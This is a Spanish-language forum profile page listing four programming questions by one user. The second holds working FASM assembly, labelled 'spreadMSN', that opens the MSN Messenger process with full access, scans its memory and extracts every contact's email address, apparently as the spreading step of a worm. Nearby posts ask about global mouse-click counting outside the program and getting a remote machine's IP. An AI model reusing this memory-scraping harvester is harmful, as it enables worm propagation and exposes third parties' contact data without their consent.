Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - c4st0r

#1
Bueno el titulo lo dice todo, como puedo conseguir la ip de un pc remoto teniendo el handle del socket, no quiero algo que tenga que ver con el ocx de vb, gracias
#2
ASM / ASM y MSN
23 Marzo 2009, 14:04 PM
Hola muy buenas a todos, a ver si algunos de ustedes me podian sugerir como podemos controlar el MSn desde el fasm asi como lo hace C con una libreria, si tengo que hacerme una libreria o si se les ocurre alguna otra manera. Yo he logrado sacar los contactos abriendo el proceso del Messenger y leyendo en todos sus bloques de memoria extrayendolos pero se demora bastante. Aqui les dejor lo que hice, siento mucho que el code no este comentado y que sea tan lioso ya que no me gusta usar estructuras. Esta probado en el MSN live y funciona, en otras versiones no  :P


;####################################
;#                                  #
;#         Made by c4st0r xD        #
;#                                  #
;####################################

format PE GUI 4.0
include 'win32a.inc'
include 'macro/if.inc'
;MEMORY_BASIC_INFORMATION ' 28 bytes
;    BaseAddress As Long
;    AllocationBase As Long
;    AllocationProtect As Long
;    RegionSize As Long
;    State As Long
;    Protect As Long
;    lType As Long

;SYSTEM_INFO ' 36 Bytes
;    dwOemID As Long
;    dwPageSize As Long
;    lpMinimumApplicationAddress As Long
;    lpMaximumApplicationAddress As Long
;    dwActiveProcessorMask As Long
;    dwNumberOrfProcessors As Long
;    dwProcessorType As Long
;    dwAllocationGranularity As Long
;    wProcessorLevel As Integer
;    wProcessorRevision As Integer

spreadMSN:
invoke LocalAlloc, LPTR, 7500 ; memoria suficiente para las 3 estructuras y los correos
; SYSTEM_INFO   MEMORY_BASIC_INFORMATION + struct de CreateTool...
mov dword[eax], 296
mov ebx, eax
invoke CreateToolhelp32Snapshot, 15, 0; TH32CS_SNAPALL
mov esi, eax
mov edi, ebx
add edi, 36
bucle:
invoke Process32Next, esi, ebx
cmp eax, 0
je @next
invoke lstrstr, edi, msnmsgr
cmp eax, 0
je bucle
invoke CloseHandle, esi
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword[ebx+8]
mov edi, eax  ;   edi handle del proceso abierto
invoke GetSystemInfo, ebx ;SYSTEM_INFO
ScanMemory:
mov ecx, dword[ebx+12]
.while dword[ebx+8] < ecx
; si.lpMinimumApplicationAddress < si.lpMaximumApplicationAddress
   mov dword[ebx+36+12], 0
   mov esi, ebx
   add esi, 36
   invoke VirtualQueryEx, edi, dword[ebx+8], esi, 28
   .if eax = 28
       .if dword[ebx+36+24] = MEM_PRIVATE | dword[ebx+36+16] = MEM_COMMIT
   .if dword[ebx+36+12] > 0
       invoke LocalAlloc, LPTR, dword[ebx+36+12]
       mov esi, eax
       invoke ReadProcessMemory, edi, dword[ebx+36], esi, dword[ebx+36+12], 0
       .if eax <> 0
   mov ecx, dword[ebx+36+12]
   mov edx, esi
   .while ecx <> 0
       .if dword[edx] = '|Pas'
       .if dword[edx+4] = 'spor'
       .if word[edx+8] = 't|'
   add edx, 10
   mov al, '('
   mov cl, 50
   pushad
   mov edi, edx
   repne scasb
   mov byte[edi-1], 0
   xor eax, eax
   mov al, 50
   sub al, cl
   mov esi, eax
   dec esi
   mov edi, ebx
   add edi, 36+28
   mov ebx, edx
   invoke lstrstr, edi, edx
   .if eax <> 0
       jmp NotCopy
   .endif
   mov al, 0
   mov ecx, -1
   repne scasb
   dec edi
   invoke RtlMoveMemory, edi, ebx, esi
   add edi, esi
   mov word[edi], 0x0A0D
   NotCopy:
   popad
       .endif
       .endif
       .endif
       inc edx
       dec ecx
   .endw
       .endif
       invoke LocalFree, esi
   .endif
       .endif
   .endif
   mov ecx, dword[ebx+36]
   add ecx, dword[ebx+36+12]
   mov dword[ebx+8], ecx
   mov ecx, dword[ebx+12]
.endw
EndScan:
invoke CloseHandle, edi

    invoke ExitProcess, 0
@next:
invoke LocalFree, ebx
jmp spreadMSN

msnmsgr    db  'msnmsgr.exe', 0

#3
Hola a todos, aprovecho para saludaros y agradecer a este foro toda la ayuda que da para seguir aprendiendo.
He buscado y rebuscado y no encuentro la solucion, a ver si alguien me puede dar una pista d como puedo crear un programa que cuente los clicks del boton izquierdo del mouse pero solo en la posicion mouseup y fuera del form, es decir con un manejo normal por windows. He usado GetAsyncKeyState(1) y con esta funcion si dejo pulsado el boton izquierdo no para de sumar y luego tambien he usado if GetAsyncKeyState(1) = -32767 y si estoy en el explorer no los cuenta, por eso lo que quiero es que solo cuente cuando se levanta en boton izquierdo.
#4
Hola a todos, bien lo que me gustaria es poder listar los contactos del messenger con el grupo al que le corresponde, de esta manera listariamos todos los contactos pero sin el grupo en un textbox


Private Sub ListContact_Click()
For Each user In MSN.MyContacts
List1.AddItem user.SigninName
Next
For i = 0 To List1.ListCount
Text1.Text = Text1.Text & List1.List(i) & vbCrLf
Next
End Sub


He estado buscando por google y no encuentro nada en español al respecto, gracias